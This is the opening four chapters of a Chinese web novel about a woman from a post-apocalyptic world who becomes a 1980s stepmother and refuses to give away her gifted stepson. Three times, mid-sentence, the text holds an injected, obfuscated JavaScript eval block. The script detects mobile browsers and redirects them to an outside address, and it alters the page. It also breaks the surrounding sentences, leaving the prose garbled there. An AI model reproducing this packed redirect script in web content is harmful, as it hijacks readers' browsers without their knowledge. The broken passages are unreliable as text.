《天才男主的恶毒后妈[八零]》 1. 第 1 章 “等我们把他带回家,给他取名‘招娣’,算命的说了,我们命里无子,只有这样才能改命。” “这孩子年纪正好,带回家还能替我们家干农活。” “对啊,他成绩还好,等弟弟长大了,还能给他辅导功课呢。” …… 纪悠眼前的夫妻俩你一句我一句的眼瞧着把男主的命运都决定好了,但本文的天才男主能按照他们的安排走才奇怪呢。 在送走之后,他就算准日子成功逃跑。 虽然他在逃跑路上历经坎坷,但最后也是成功的打造了他的商业帝国。 最后首先报复的就是眼前虐待他的养父母,和送走人的‘她’了。 那她怎么可能让男主从她眼皮子底下离开。 “孩子我不送了。” 空气顿时寂静下来。 夫妻俩率先不乐意了,“你这女的,我们原先可不是这么说的。” 他们之前说的是着急送,来了就接走,结果他们千里迢迢赶过来,说两句话就不送了。 哪有这么耍人玩的事。 纪悠转头,眼神瞧了一眼看住男主的房间,“因为听起来你们对孩子可不会好。” “你个后妈管这么多干嘛?” 而且听说这后妈,丈夫一死就立马送走孩子,那能是对孩子好的吗? 现在又在这装什么呢。 纪悠倒是承认以前‘她’确实是这么想的,有钱的丈夫突然死了,丈夫家人不管不问,‘她’失去了经济来源,还带着这么大一个拖油瓶。 而且把人送走,那些遗产,就都属于她和她的亲生儿子了。 但现在的话,谁让这个继子有天才男主光环呢。 她啧了一声,“我们家的事轮不到你们过问,不送就是不送了。” 夫妻俩都想上手抢了,但看见纪悠的眼神倒是不敢胡作非为,就感觉她好像真的杀过人一样。 纪悠来自末世,虽然是科技人员,但先遣队员全部牺牲,她的小队全员顶上承担搜寻物资的责任。 等发现这本书看了几眼,等一睁眼就到了这。 从物资匮乏到物资丰盈,她接受的非常良好。 当然,她要收拾俩普通人也是轻轻松松。 结局是没发生什么,夫妻俩有眼色的离开了,纪悠进去看了一眼本文男主林叙白,他被旧衣服捆住没法动弹,整个人也是焉焉的。 纪悠扫了一眼立马找到他无精打采的原因,对方的腿因为想要跳窗但没成功,被木板划破了个口子。 撩开对方的刘海,能看见他幽深的眼神。 这种人,一般都是狠辣阴翳的,剧情中也确实是这样,如果可以,纪悠是真不想和这样的人做对啊。 “你要把我送走?” 纪悠指了指身后,“我以为你已经听的很清楚了。” 她没捂住他的耳朵,又把人放到客厅隔壁的这个小房间里,这也是‘她’的一点恶趣味吧。 什么都能知道,但什么都不能做。 就算想要逃跑,也只会把自己折腾的遍体鳞伤。 林叙白的声音充满嫌恶,“你就没什么想说的吗?我爸他才刚死。” 纪悠挑眉,要她说什么? “如果我说我是想找个更好的家庭照顾你,你信吗?” 林叙白的眼神丝毫未变。 纪悠咋舌,既然他不信,那还让她说什么? 总归不是他想听的。 现阶段还是赶紧把人松开吧,‘她’还蛮聪明的,为了不保留痕迹,用的都是柔软的旧衣服。 又为了给人挣扎的机会,所以只绑了手和脚。 在解开手腕的时候,纪悠觉得对方像是濒临困境的小兽,拼了命的也要给敌人一口。 只是他现在受了伤,身上没劲。 还真学着用嘴咬啊。 纪悠对小孩还算有宽容心,也知道这个地方没有丧尸,她瞧了一眼小孩的腿。 “你可以咬下去,但我会用一笔钱打狂犬疫苗,如果你不咬,我可以用这笔钱帮你看腿。” 辖制的动作迟疑了,似乎在怀疑她是不是这么好心。 纪悠动了动胳膊把人抖落开,“快点的吧,血再流下去的话地板都不好收拾了。” 而且还有可能有终生无法挽回的损伤。 剧情中就是这样,他被送到别人家逃跑时就从山上摔断了腿,没有及时救治,成为剧情里的天才阴翳残疾男主。 现在的话,只能说剧情要和他的腿过不去。 抖落中林叙白下巴被磕了一下,迟疑地把嘴松开,他胳膊被捆久了,加上本就在水中被下了药,现在浑身没劲。 此刻他狐疑地看着给他收拾的人,“我腿受伤了,走不了路。” 纪悠笑了下,“当然是骑车,胳膊也没劲的话,就咬我衣服,别掉下去就行。” 纪悠的恶趣味成功让林叙白黑了脸,刚刚咬住人衣服的唇角发干又疼涩。 简单的处理纪悠还是能做的,但不能在人面前显露太多,她就随便包了个扎,带着人去了最近的诊所。 只不过在包扎的过程中这小孩居然一声不吭,应该说真不愧是个狠角色吗? 林叙白不是一点都不疼,在医生挑出木屑的时候他抓紧窗边把手,接连抽气好几声。 “已经很厉害了,你这个年纪的小孩受了这么重的伤早就哭天喊地了。” 林叙白没接受他的宽慰,只是感谢,“谢谢医生。” 如果他爸还在的话,他应该会哭的吧,但是现在他爸已经不在了,也没有人会允许他撒娇了。 他抱着腿,浑身充斥着不安全感。 胡医生给人包扎好,简单说点注意事项,“你妈给你买饭去了,你到时候可以对她说你有多棒。” 林叙白觉得这怎么可能,他原先忍着,就是因为不想在她面前示弱。 他身边躺着的是一个女人,悠闲的磕着瓜子提醒道,“胡医生,你是这药房里新来的不知道,叙白这小子家里的是个后妈。” 周围的搭腔了,“是啊,说不准这伤就是她虐待出来的,男人刚死孩子就这样,要说巧也太巧了吧。” “是吧,我早就说了原先的那些温柔体贴指定全都是装出来的,男人一死指定都藏不住了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578609|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们平日里瞧着纪悠,怎么瞧怎么风光,男人能挣,以前就是万元户,虽然现在的万元户不那么值钱了,但也算有钱啊。 纪悠本人长的漂亮又读过一点书,不仅能花,丈夫不在家,还有权能管家。 平日里吃好喝好,虽然俩孩子一个不是亲生的,一个调皮,但总归是尊重她或者听她话的。 现在男人意外死了,一下子从‘富太太’成了带俩拖油瓶的寡妇,还背上了克夫的名号。 那待遇,那不得是一个天上一个地下啊。 她们啊,都乐的看笑话。 胡医生看不下去了,“你们当着孩子的面胡说什么呢?” 被教训了几人的声音这才小了点。 但也忍不住凑在一起嘀嘀咕咕,林叙白离得近,他也能听得到,但他一言不发,在几人问起的时候也是这样。 被人直嫌弃是被吓傻了吧。 纪悠拎着东西回来,她买了馄饨和烧饼,主要是病人能吃的东西太少太清淡。 末世的时候太荒芜,她都快忘记馄饨是什么味道的了,她吃了一碗才回来的,现在光吃这些能满足,等以后她得吃更好的东西才行。 她给人递过去,“能自己吃吧?” 林叙白没好气,“不能自己吃你喂我吗?” 纪悠完全没在怕的,“如果你想我也不是不可以。” 林叙白决定接过馄饨自己吃,要他和这人装作亲密的喂饭他做不到。 刚才讨论的女人忍不住走过来,“你这后妈怎么虐待孩子呢?” 纪悠觉得她不喂饭怎么就成虐待孩子了,长眼的也该知道是孩子自己要自己吃的。 那女人看纪悠不知悔改的样子,更是得意,“我也是从山上摔着下来的,石头根本摔不出这样的口子。” 纪悠恍然,原来是因为这件事。 她看眼前的女人,完全记不起来她是谁,意思就是无关紧要对吧。 “你是这孩子的谁?” “我不是这孩子的谁,但我就是看不下去你这样虐待孩子。” 纪悠觉得末世这样没事找事的人可不多见,“你是看着我虐待孩子了吗?孩子只不过是玩耍的时候从山上小木屋摔了下来,怎么就成我虐待孩子了。” 女人觉得话都说到这份上了纪悠还死不承认呢,现场可是还有孩子在呢。 只要他说一句不满,都能把纪悠锤的死死的,“叙白你说,是不是你后妈虐待你,你只要说出来,大家自然会替你讨公道。” 不知不觉,病房里的人围了一大圈。 纪悠也跟着看向林叙白。 林叙白也回看她,觉得她这是在威胁吗?不对,从眼神来看和以往不一样。 他突然和纪悠对上视线,然后率先撇开头。 他又把视线对准了周边的人,她们眼里全都是期待和兴奋,甚至连一丝可怜也无。 虽然他也并不需要这种东西。 果然失去了爸爸,他这辈子都要面临这么孤苦无依的场面了。 林叙白捂着腿沉默半晌,最后才握拳说道,“是,这是我是自己摔的。” 2. 第 2 章 纪悠笑出声,想到那群人的表情就有点忍不住。 只是可惜那碗馄饨,林叙白吃的时候肯定食不知味。 林叙白:“你笑什么?” “没什么。” 林叙白不太自在,这又不是他想选的,只是无奈而已,比起纪悠,那群人才不会过问他的死活,只是会看笑话说一句孩子真可怜而已。 纪悠她至少遵守了带他来医院的约定。 他坐在后座,刚包扎好的腿这样奔波居然没有多疼,因为是纪悠抱着他上的车。 “你不也怕了吗?所以才会从医院离开。” 纪悠抬眼,怕她们?“我是看你不想继续在那待,我才带你走的。” 林叙白确实讨厌她们嚼舌根,但要说纪悠因为他才离开,他不信。 他攥紧手指,迟疑地抬起眸子。 空气寂静半晌,林叙白被抱着下车子,其实他已经十岁了,如果可以,他不想要这样的抱法。 纪悠见状威胁,“没包扎前随你折腾,包扎后给我安分点。” 不然还得再去药房一趟。 闻言林叙白果然不动了,纪悠掂量了下怀里的重量,只觉得这家伙指定没好好吃饭过。 她回到家让人坐在椅子上,一中年妇女她家厨房里晃来晃去,见到她来也没有被抓包的尴尬。 纪悠一眼看出对方的身份,也没给她留脸面,“后妈,又来偷菜了?” 吴连翠表情骂骂咧咧,后妈,她不也是给人当后妈的嘛? “这不是觉得你家里没大男人吃不了多少东西,怕浪费了吗。” “完全不会。” 倒是家里有个半大小子吃的也不少。 吴连翠确实没找到什么东西,果然,男人死了,日子哪还能像之前这么大手大脚的过。 还有那小崽子,也是个能吃的。 她哼了声,“可不就是嘛?把家里的好东西全给亲生的吃了,叙白啊,一口好的没捞着。” 纪悠觉得好笑,以前怎么没瞧见过她这个婆婆对林叙白这么在意过。 吴连翠摸着林叙白的脸就说,“瞧你后妈把你给饿得,脸上这一点肉都没有,这还受了伤,该不会是你这个后妈给虐待的吧。” 纪悠眼睁睁地看着她撺掇,“是啊,他该有的份都被你给偷走了啊。” 那不得吃不上,给饿瘦了啊。 确实拿了她家不少东西的吴连翠:“……” 以前怎么没觉得这个儿媳妇这么会怼人,她气急败坏,“就算我拿走了,剩下的你也该对半分。” 才不是她想克扣林叙白的呢,她干脆利落地从口袋里掏出个鸡蛋,“给叙白补补身子。” 这好东西,以前家家户户都没几个能吃上一整个的孩子,瞧她对着孩子多好。 林叙白看着眼前的鸡蛋,然后拉住了要走的纪悠。 纪悠顿住,小手的拉扯其实没用多少力气。 但她瞧他一眼,然后又看向吴连翠。 “鸡蛋家里有的是,快说你到底是来干嘛的?” 吴连翠恶狠狠地看着林叙白,这小白眼狼在求助谁呢?鸡蛋都不想吃,他难不成想吃龙肉啊。 但她这次来确实有事,这林墨虽然死了,但人情不能散啊,她们剩下的不得吃个饭聚一聚啊。 纪悠点头,“行啊,那就去一趟。” 看他们打什么主意。 见吴连翠要走纪悠想起来件事,“还有钥匙,拿来。” 以往纪悠很在意一人在家的名声,于是她补偿性地照顾继子、孝顺公婆,公婆过来拿东西,她只当看不见。 只是她的伪装过了头,到头来反倒没人相信。 吴连翠显然没想到纪悠敢这样做,她气急败坏,“你男人才死多久?你就露出真面目了!就这么急着把公婆甩出去啊。” 纪悠反问,“难道不应该吗?” 接连被怼了好几次,吴连翠算是发现了,纪悠就是个死了男人疯魔了的,林叙白才是那个清醒的。 她瞧着林叙白脸色都变了,毕竟后妈连公婆都这么急着甩出去,那扔他这个拖油瓶不是迟早的事。 这样啊,正好。 她不情不愿地给出钥匙,然后耐着性子叮嘱,“来我家的时候记得把叙白也带上。” 纪悠瞧着对方显然在打什么主意,但顺了对方的意说不定有意外收获。 她手上下意识掂量了下钥匙,“我不知道你手上还有没有,但下次再来,我就报警说你强闯民宅。” 吴连翠忍不住骂骂咧咧,“我看你就是男人死了,疯的厉害。” 以前多好面子的一个人,现在变得什么事都做得出来,就连面子上的功夫都懒得做了。 纪悠没锁门,她一碗馄饨没吃饱,想给自己再下碗面,她看着林叙白,“需要我抱你回屋吗?” “我在这坐着休息下好了。” 纪悠也不在意他突如其来的冷淡,只是感慨小孩子的心情就是变化莫测。 “那就随你好了。” 林叙白在门口吹着风,幸亏现在秋冬季,不好流汗,不然伤口肯定要发痒难受了。 他稍微动了动腿,就感到一股钻心的疼。 她居然能在移动他的时候这么注意他的伤口,但从刚刚的对话来看,她还是要把爸的一切赘余给抛弃的。 亏他还心存幻想。 他正征神呢,他的弟弟林向晨就是这时候回来的,他兴奋跑来,语气带着雀跃,“妈,你把林叙白送走了吗?” 林叙白神色一愣,他抓紧林向晨的胳膊,“你知道她要把我送走的事?” 他在杂物间被绑住送人的时候,想着亏她知道她做的事不光彩,在送人前专门把林向晨送走。 他没想到林向晨居然是知道这件事的。 知道了还是任由她这样做吗? 林向晨很坦然,“对啊,我知道。” 知道了又怎样?他就是盼着这一天呢,林向晨甩开他的手,“我早就看你不爽了,凭什么爸爸的爱要全给你,妈妈的爱也要分给你一半。” 他讨厌林叙白。 他和林叙白同样都是爸爸的孩子,爸爸就只关心他,他就只剩下妈妈的爱了,林叙白还要来跟他抢。 林叙白手指收紧,“她那都是装出来的。” 林向晨管他是不是装出来的,他只在乎,“该给的还不是都给了你。” 他高昂的情绪看到林叙白变得缓和,看着林叙白此刻还在家就知道,这次,还是没有送掉。 纪悠从厨房出来,她给自己简单的下了碗清汤面,物资富足是这样的,能给打个鸡蛋放点猪油。 她吃了一碗,简简单单的也很美味。 此刻视线放到林向晨身上,桃花眼和她长的一模一样,不用确认,从身体的反馈就知道这是她的亲生儿子。 “妈!” 纪悠托住他飞奔来的动作,“在姨姥姥家里过得怎么样?” “姨姥姥给我做了好多好吃的,但我还是最想念妈妈。” 纪悠摸着向晨依赖的脸颊,想起剧情中男主林叙白把继母送去精神病院,导致惨死。 去当兵的向晨回到家发现这件事,攥拳隐忍的不行,发表了著名反派言论,‘谁都可以趁着我不在,欺负我的妈妈。’ 接着他去到男主身边,林叙白对继母苛待,对亲弟弟却宽容。 等向晨博取他的信任,干出了偷了他的文件,捅了他一刀的事,才被林叙白报复。 下场比起她来,倒是好不到哪去。 纪悠从抚摸改为拍了拍向晨的脸,“那晚上没吃饭?我给你下碗面。” “好啊!” “算了吧,你做的饭,还不如我做的呢。” 两道声音同时响起,林向晨的姨姥姥,也就是纪悠的小姨白如兰和向晨一起回来的。 她用铁饭盒装了两个菜,留着一起吃。 “但是姨姥姥,我还挺想吃面条的。” 白如兰瞧着向晨是给妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578610|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈台阶下吧,但是面条,也要她来做。 纪悠看这两人的阵仗像是紧赶慢赶的跑回来的,于是问,“饭都做好了怎么不在小姨家就吃了算了。” 这样用饭盒装来回折腾。 白如兰笑了,“还不是向晨,听说你那个婆婆来了,着急的很,生怕你在家一个人受欺负。” 林向晨耳根红了半边,着急跺脚,“姨姥姥!!!你说什么呢?” “呦,这还害羞上了。” 白如兰觉得这有啥不能说的,她也是当妈的,看小孩这么顾着自己,开心都来不及呢。 纪悠确实心情不错,她摸了摸向晨的头,觉得她虽然吃了一碗了,但是也不介意再吃第二碗。 她胃口很好,在基地里,经常刚吃过就饿得肚子咕咕叫。 白如兰给她做西红柿鸡蛋拌面,纪悠则在一旁先给向晨从饭盒里弄个鸡翅吃。 林向晨眼睛亮晶晶地,他从来没见过妈妈这么明显的表达偏爱。 他吃的开心,纪悠挑了下眉,果然亲生的就是贴心,她的动作改为坐在炉火旁,然后把今天的正事和小姨说了说。 “叙白没送走。” 白如兰叹了口气,她也看见了,“送小孩的事,哪有这么容易,慢慢来吧。” 这当初是她相的媒,虽然是鳏夫,但看中的是林墨有钱还踏实肯干。 现在却搞的悠悠这么年轻就成了寡妇,还有俩这么大孩子,这在男方眼中就是拖油瓶,害的她再嫁都不好找。 继子那边没男方家亲戚愿意管,可不就得送走嘛,没血缘的难不成还真拖累悠悠一辈子。 至于送走的人家对林叙白好不好,那就要看他的命好不好了。 纪悠想起她先前倒是没给小姨说过找的人是随便找的,这样的人家领养十岁小孩,多半是不好的。 因为已经记事,养又养不熟,长大了人家独立了有腿有脚了跑了不问事的大有人在。 她委婉提示,“能养这么大年纪的小孩,能有愿意的肯定也是图点啥的吧。” 白如兰又下了一梭子手擀面,然后用筷子搅了搅,“如果真遇到不好的害了他一辈子,有报应我替你担着。” 小时候她姐好东西都给了她,长大了,她不得好好照顾姐姐的遗孤。 纪悠沉思,在剧情中,小姨的事情倒是没提,但既然结局是报复她的话,那小姨绝对算不上好。 她慢悠悠道,“今天吴连翠来了,我看她还挺想要养叙白的。” 白如兰震惊,“她?她们家……” 疯了吗?她们家原先要是愿意管,她们可还至于这么急着找人送走吗? “谁知道怎么回事呢,等明天过去看看。” 白如兰有点烦他们家,但事到如今也只能这样了,她开了口,也不知道劝纪悠还是劝自己。 “是这样的,考虑这么多也没用,先吃点饭吧。” 她看面变得透明了就把面捞出来,这个天也不用过凉水了,她出了厨房叫唤了一声林叙白。 “叙白吃不吃,这个天在外面吃正好,不冷不热的。” 纪悠瞧着他的脸色都觉得他没胃口,开口劝了一下,“他受伤了,刺激的辣的不能吃。” 白如兰注意到了,她猜孩子没送走多半和这事有关,但这意思,是伤口还蛮严重的吗? “我看能不能给他搞点羊奶啥的补充营养,伤口好得快。” 纪悠看着林叙白,觉得有这句话在,这个天才男主对小姨就没这么大恶意了。 如果把他送去吴连翠家,那剧情里对她的怨恨也会转嫁,那这,可真是个好消息了啊。 白如兰给盛了三碗,图方便就在厨房里吃,林向晨那碗是最大的,目测有他脸这么大。 纪悠示意对方吃慢点,才慢悠悠地吃了一口面。 纪悠吃完顿了下,没有对比就没有伤害,只有吃过好的,才知道她自己做的有多难吃。 同样的食材,味道差距原来可以有这么大的吗? 3. 第 3 章 等吃完饭,白如兰弄了碗羊奶回来。 纪悠给加了热,端到林叙白面前,“多喝点,伤口好得快。” 林叙白用双手捧着,他低垂着头看不清神色,“明天就要去爷爷家了吗?” 纪悠看了下他的腿,“如果你觉得很难受的话,也可以给他们说过几天再去。” 林叙白顿了顿,然后他看了一眼纪悠。 “不用了,明天就去吧。” 纪悠也觉得这样最好,她以往那些伙伴受了这样的伤口,都是第二天就正常出门。 末世到底还是待遇差,哪有现在这好条件。 —— 纪悠凭借记忆找到吴连翠家,吴连翠一大家看到她空手来脸色都不好看。 吴连翠是再婚嫁过来的,林国栋带着儿子,她带着女儿,两人结婚后又生了个小儿子。 她克扣继子,什么都给儿子挣,天天把‘女儿不是你亲生的,儿子是你亲生的啊’挂在嘴边,林国栋就一直用大儿子给的钱贴补家里。 这样算下来,吴连翠小儿子娶媳妇找工作出的钱,林墨高低得出了一大半。 现在不光吃大儿子的,还想着吃大儿媳的? 纪悠觉得有点好笑。 吴连翠埋怨道,“你这来公婆家怎么还空手来的。” 纪悠颠了颠手上的林叙白,“没看到吗?手都被占满了。” 吴连翠瞧林向晨空着手,“那你不能让你儿子拿着吗?” 纪悠:“让我儿子拿,不如让你儿子少吃点。” 五大三粗的,倒是比死去的林墨壮实个好几圈。 吴连翠气的捂住胸口闭上眼,疯了,都疯了,她是做什么在这给一个疯子找不痛快。 把事办完赶紧让纪悠有多远滚多远。 到时候别想再和他们家沾边,吃他们一口饭。 真以为自己还是以前那年轻貌美的时候了,那时候她是相亲市场的香饽饽,现在呢,是寡妇,身边还带着个儿子,她儿子二婚都不带找她这样的。 吴连翠嫌晦气一样的跑到后厨去了。 几个女的在备菜,纪悠直接坐下,无端地,她感受到一股炙热的视线,顺着眼神看过去,发现是林向晨。 林向晨脸蛋兴奋的泛红,激动的手舞足蹈,“妈,你刚刚也太帅了吧。” 纪悠笑了下,这才哪跟哪? 倒是林向晨这次跟来,不能打不能吵的怎么还嚷嚷着给她出头,怕她被别人欺负? 林向晨震惊妈妈没发现,“要是我打人了,吃他们家东西了,妈妈你只要拦住人说一句‘他还是个孩子,你跟他计较什么’不就可以解决问题了吗?” 这句话比什么都管用,意味着他在这个家干什么都不会挨打。 不然奶奶就是个克扣小孩的抠搜精。 有够丢脸,被别人说的。 纪悠稀罕了下,这小孩多大年纪就知道护妈了,难怪剧情里他会说出那样的话。 难道就是他小时候这种事见得多了,才会觉得只要他不在,妈妈就会受到欺负吗? 纪悠觉得想法真的很可爱。 林向晨光说着就都有些馋了,“那妈妈我这次还能这么做吗?” 纪悠一眼看出想吃东西也是他的目的之一,但不可否认,对待这样全心全眼是自己的孩子很难不纵容啊。 “你想做什么都可以。” 反正她会给他兜底。 林向晨明显已经有了主意了,他记得厨房里就放着妈妈上次来送的芒果,那可是稀罕东西,他爱吃都吃不上几个。 现在摆在桌子面前,等开始吃饭了他一定要狠狠吃上好几个,不够再去厨房拿。 纪悠顺着他视线看过去,只觉得这次哪怕是为了叙白,也没有几个菜啊,只有唯一的一道菜是拿的出手的芒果。 还是放在吴连翠自己孙子面前的。 这么多人,菜一共就四个,上齐之后,这饭还没吃几口呢,吴连翠就藏不住心事了。 “既然你都决定好不做我们林家人了,那孩子就给我们养吧。” 纪悠状似思考了下,然后挑了下眉,“你是说向晨。” “当然是叙白!” 向晨那破小子谁要啊! 吴连翠一脸为她好的样子,“你说你到时候肯定要再婚的,那带俩孩子确实耽误你,我们林家不是这么不负责任的人家,是我们的孩子我们肯定得放在家里养着的啊。” 纪悠懒得搭理她,她问林叙白,“叙白,你觉得呢?” 林叙白还没说话,林国栋先站起来了。 “你问孩子能问出什么?男人死了没几天,孩子就被你养的伤了腿,你知道现在外面都怎么说吗?都说孩子是被你虐待成这样的。” 纪悠看了林国栋一眼,这气愤一时都分不清他到底是虚情还是假意。 她语气稀奇,“没想到外面还有这样的谣言。” 林国栋火都没地发了,昨天吴连翠说纪悠疯了,他还不信。 现在看来,这不是疯了是咋了。 正常人能在这样的质问下说出这样的话吗? 一点为人母的羞耻心都没有了,一个人在家连个孩子都照料不好。 他气的拍桌子,实木的桌子震了好几下。 满桌人一脸看好戏的姿态,因为每当林国栋想打人的时候才这样。 纪悠扫视了一圈,也没发现拿得出手的战斗力,就这也能这么自信吗? 林向晨看不下去了,他跑过去踢了林国栋一脚,然后拿走摆在他堂弟面前的芒果。 林阳阳随他爹,六七岁的年纪也吃的五大三粗,“这是我的!” 林向晨口吐芬芳,“你放屁,这是我妈买的。” “送到我家里来就是我的了。” 最后林阳阳硬抢也没抢过林向晨,林向晨高兴地端到自己面前。 林国栋见状更气了,“看你把孩子都养成什么样子了,一个被你带着受伤,一个都快成社会败类了。” 纪悠觉得真是有够吵的。 她直接把餐桌掀翻了,物理意义上的,餐盘碎了一地。 实木的桌子怼到墙上也是有几分震感的,纪悠在一片寂静中开口,“吵死了,吴连翠该说过的吧,说我现在男人死了,精神不太好。” 林国栋试过的,他一只手绝对掀不开桌子,他总算认清楚了什么,脸色变得铁青。 谁都不想惹一个疯子,尤其这个疯子力气还这么大。 吴连翠吓得脸色惨白,更是不敢说一个字。 一片寂静中,纪悠开口了。 不再管林家的事,只是按照她原先问的,“叙白,问你呢,你想留在林家吗?” 林叙白喉咙干涩,他很想问‘这是他能决定的吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578611|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?’。 但就像和林家这么撕破脸,她到时候肯定也会向以前那样把他当做垃圾扔出去吧。 尤其是见识到她有多爱自己的孩子,自己被骂都无所谓,但向晨被骂一点都受不了。 这样的情况下,无时无刻都在提醒着他,他在这个家是个外人。 他攥紧拳头,“我想留在林家。” “你确定?” “对。” 纪悠尊重他的选择,“那就回去收拾东西吧。” 到现在也不知道林叙白的房间准备好了没有,但这时候,这件事就不用她过问了。 等之后有什么剧情,也都是这一家担着了。 只是林家做到这一步,多半是为了遗产吧,未成年儿子分的那一份? 因为剧情是男主成年后,纪悠当时也只是随便翻了翻,显然没注意到孩子小时候分遗产的这点小细节。 总感觉这上面还有别的坑等着她。 纪悠扫视了一眼,决定暂时也不管其他的,现在先离开再说。 在人走后,吴连翠赶紧把门关上,嘴上缓过神来,还一边念叨着‘疯子,疯子’的。 “她现在的力气怎么变得这么大了?!” 林国栋没好气道,“谁知道,男人死了,疯婆子一个了,什么事都干的出来,什么事也都有可能。” 谁知道发疯了会不会突然力气大啊,他们怎么知道,他们家又没有疯子。 林国栋拍着胸脯顺气,他都到这个年纪了,儿子都没气过他,现在被一个儿媳妇,给气了好几回。 真是造孽啊。 “但是至少林叙白被我们要来了,那可是林墨那小子一半的遗产啊。” 林国栋想起信件上那些钱就心痒痒,“就这他还一直说没钱没钱,这能叫没钱。” 他忙活大半辈子了,都没赚到里面的零头。 吴连翠得意的很,“这还不是都要靠咱儿子在邮局工作,咱才能早纪悠一步知道消息?” 信件是送到纪悠家里去的,她儿子聪明,说一家人顺路带走,这才提前截了胡。 要是被纪悠知道有这一出,打死也不能愿意把孩子送过来啊。 那可是足足一半的钱,竟然都给了个小孩。 纪悠忙里忙外作秀这么多年,到头来她和向晨那臭小子还是没捞着什么,这才是吴连翠最开心的地方。 吴连翠激动地直拍大腿,“到时候那房子也说不准能搞来。” 那可是三间屋呢,一百二三十多平,都够住一家四五口的了。 拿到手之后就赶紧把纪悠母子俩赶走。 林国栋让吴连翠先别激动,他想起来件事,“那个公布遗嘱的人什么时候来?” 臭小子去城里混了几年,死了还搞什么遗嘱,他个乡下人都没见过这些。 他们不太懂,但问了人,人家说但有了这个,至少这钱能不被纪悠全捞走。 他们赶紧开始就开始着手了,上面信件上可是说了,叙白愿意留在谁家谁家就有一半的钱。 吴连翠记不太清了,“反正他信上说的是一个星期,但信件这不也走了好几天。” 那不就没剩几天了嘛? 林国栋抽了口烟,然后指着屋里,“赶紧随便收拾间屋出来,到时候让叙白住里面。” 然后就等着那个叫沈介舟的人过来公布遗嘱。 4. 第 4 章 药房里。 沈介舟停下车买药,自从车祸发生后,他就有了这个习惯。 医生忍不住劝道,“正常跑车的人用不到这么多的药吧。” “图个安心。”沈介舟摸了摸额角的伤痕,“而且救命的药,备上再多也不稀奇。” 沈介舟拿出钱包付了款,顺带从钱包里掏出一张纸,“这个林叙白的地址,你知道在哪里吗?” “林叙白?那小子可惨的很啊。” 比起医生,旁边的声音倒是先响了起来,女人拄着拐,同样在柜台付款。 沈介舟神色冷了下来,“为什么这么说?” “还不是他那个后妈虐待他,腿上破了这么大一道口子,还说从山上摔下来的,跟谁没上过山是的,那样怎么可能划出那样的口子。” 旁边的人忍不住插嘴,“那小孩不都说了是自己摔下来的了吗?” “当着后妈的面,你敢说实话吗?他那样说,肯定是被后妈威胁了啊。” 沈介舟唇线绷紧,他一直听林墨说放心不下家里的大儿子,原来是这种放心不下。 “那我要找的就是这家人,能画下地址吗?” “这肯定行啊。”女人看热闹不嫌事大,她乐的看纪悠吃瘪,尤其还被纪悠当众没脸。 她三笔两笔的就给画出来了,“话说,你来这找这家人干嘛的?” 沈介舟扫视了女人一眼,神色冷淡。 “林墨留了点遗言,我是来亲口告诉他的家人的。” —— 纪悠回到家第一时间,是给人收拾行李,总不能让一个瘸腿的小孩自己收拾吧。 林叙白神色复杂地坐在椅子上,即使他主动说要走,他也被照顾的无微不至。 “有些衣服就不带了,向晨应该用的到。” 这个年纪的小孩是窜的快。 但纪悠否决,“向晨不会想穿你穿过的衣服的。” “……那就都带走吧。” 直到现在,林叙白才知道林向晨这么讨厌他,也是够失败的。 林叙白低垂着眼,看不清神色。 纪悠眼神眯起,看来林叙白对他要去到林家的待遇还不太了解啊。 林墨不愧是有钱人,就算林阳阳被林家全员溺爱,衣服都比不上林叙白的衣服质量好。 “就放着这里吧,有需要再来拿。” 林叙白眸色中露出几分迟疑,“我还能回来?” 纪悠无所谓,“可以,但要敲门,我不会给你准备钥匙的。” 纪悠准备的都是冬衣,毕竟到了这个时间了,也该嫌冷了。 冬衣厚实麻烦,随便收拾收拾就是两大包。 林家的三轮车等在门口,纪悠边收拾边往外拿,林叙白也逐渐从坐在屋子里到坐在三轮车边上。 纪悠忍不住提醒道,“你就这么让林叙白坐在那?” 林家小儿子林全因为纪悠在他家的那一出,不敢在她面前大声,只嫌弃地瞥了一眼三轮车上的东西,“东西都堆满了,那不就只能坐边上了吗。” 纪悠无所谓,那就随他们的便。 谁让他们都不知道车上坐的是个超级小心眼的天才反派男主呢。 林叙白要走,林向晨是最兴奋的。 他趁着纪悠不注意给林叙白做了个鬼脸,“再见了,林叙白。” 纪悠无奈,怎么刚吐槽完林叙白小心眼,向晨就要在人面前作妖。 她拦住人,然后帮林叙白整理了一下帽子,争取给向晨挽回一下。 等人彻底走了,时间已经一点半了。 两人一大一小在林家都没吃饱,现在最先做的事就是吃饭。 纪悠手艺一般,会做的也少,面条算是其中之一,不如做点面疙瘩吧,那个比面条还简单。 